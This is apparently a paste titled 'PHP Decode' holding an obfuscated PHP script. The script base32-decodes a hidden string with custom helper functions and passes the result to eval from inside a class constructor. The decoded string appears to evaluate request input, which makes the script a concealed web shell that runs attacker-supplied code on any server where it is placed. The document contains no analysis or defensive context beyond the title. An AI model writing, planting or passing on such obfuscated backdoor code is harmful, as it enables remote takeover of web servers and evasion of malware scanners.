PHP Decode

<?php 
class ZFMT{ 
        public $UQIH = null; 
        public $BZGA = null; 
        function __construct(){ 
        $this->UQIH = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy'; 
        $this->BZGA = @QMRC($this->UQIH); 
        @eval("/*quMa!<m*/".$this->BZGA."/*quMa!<m*/"); 
        }} 
new ZFMT(); 
function VKLC($CTRK){ 
    $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567'; 
    $CHIZ = ''; 
    $v = 0; 
    $vbits = 0; 
    for ($i = 0, $j = strlen($CTRK); $i < $j; $i++){ 
    $v <<= 8; 
        $v += ord($CTRK[$i]); 
        $vbits += 8; 
        while ($vbits >= 5) { 
            $vbits -= 5; 
            $CHIZ .= $BASE32_ALPHABET[$v >> $vbits]; 
            $v &= ((1 << $vbits) - 1);}} 
    if ($vbits > 0){ 
        $v <<= (5 - $vbits); 
        $CHIZ .= $BASE32_ALPHABET[$v];} 
    return $CHIZ;} 
function QMRC($CTRK){ 
    $CHIZ = ''; 
    $v = 0; 
    $vbits = 0; 
    for ($i = 0, $j = strlen($CTRK); $i < $j; $i++){ 
        $v <<= 5; 
        if ($CTRK[$i] >= 'a' && $CTRK[$i] <= 'z'){ 
            $v += (ord($CTRK[$i]) - 97); 
        } elseif ($CTRK[$i] >= '2' && $CTRK[$i] <= '7') { 
            $v += (24 + $CTRK[$i]); 
        } else { 
            exit(1); 
        } 
        $vbits += 5; 
        while ($vbits >= 8){ 
            $vbits -= 8; 
            $CHIZ .= chr($v >> $vbits); 
            $v &= ((1 << $vbits) - 1);}} 
    return $CHIZ;} 
?>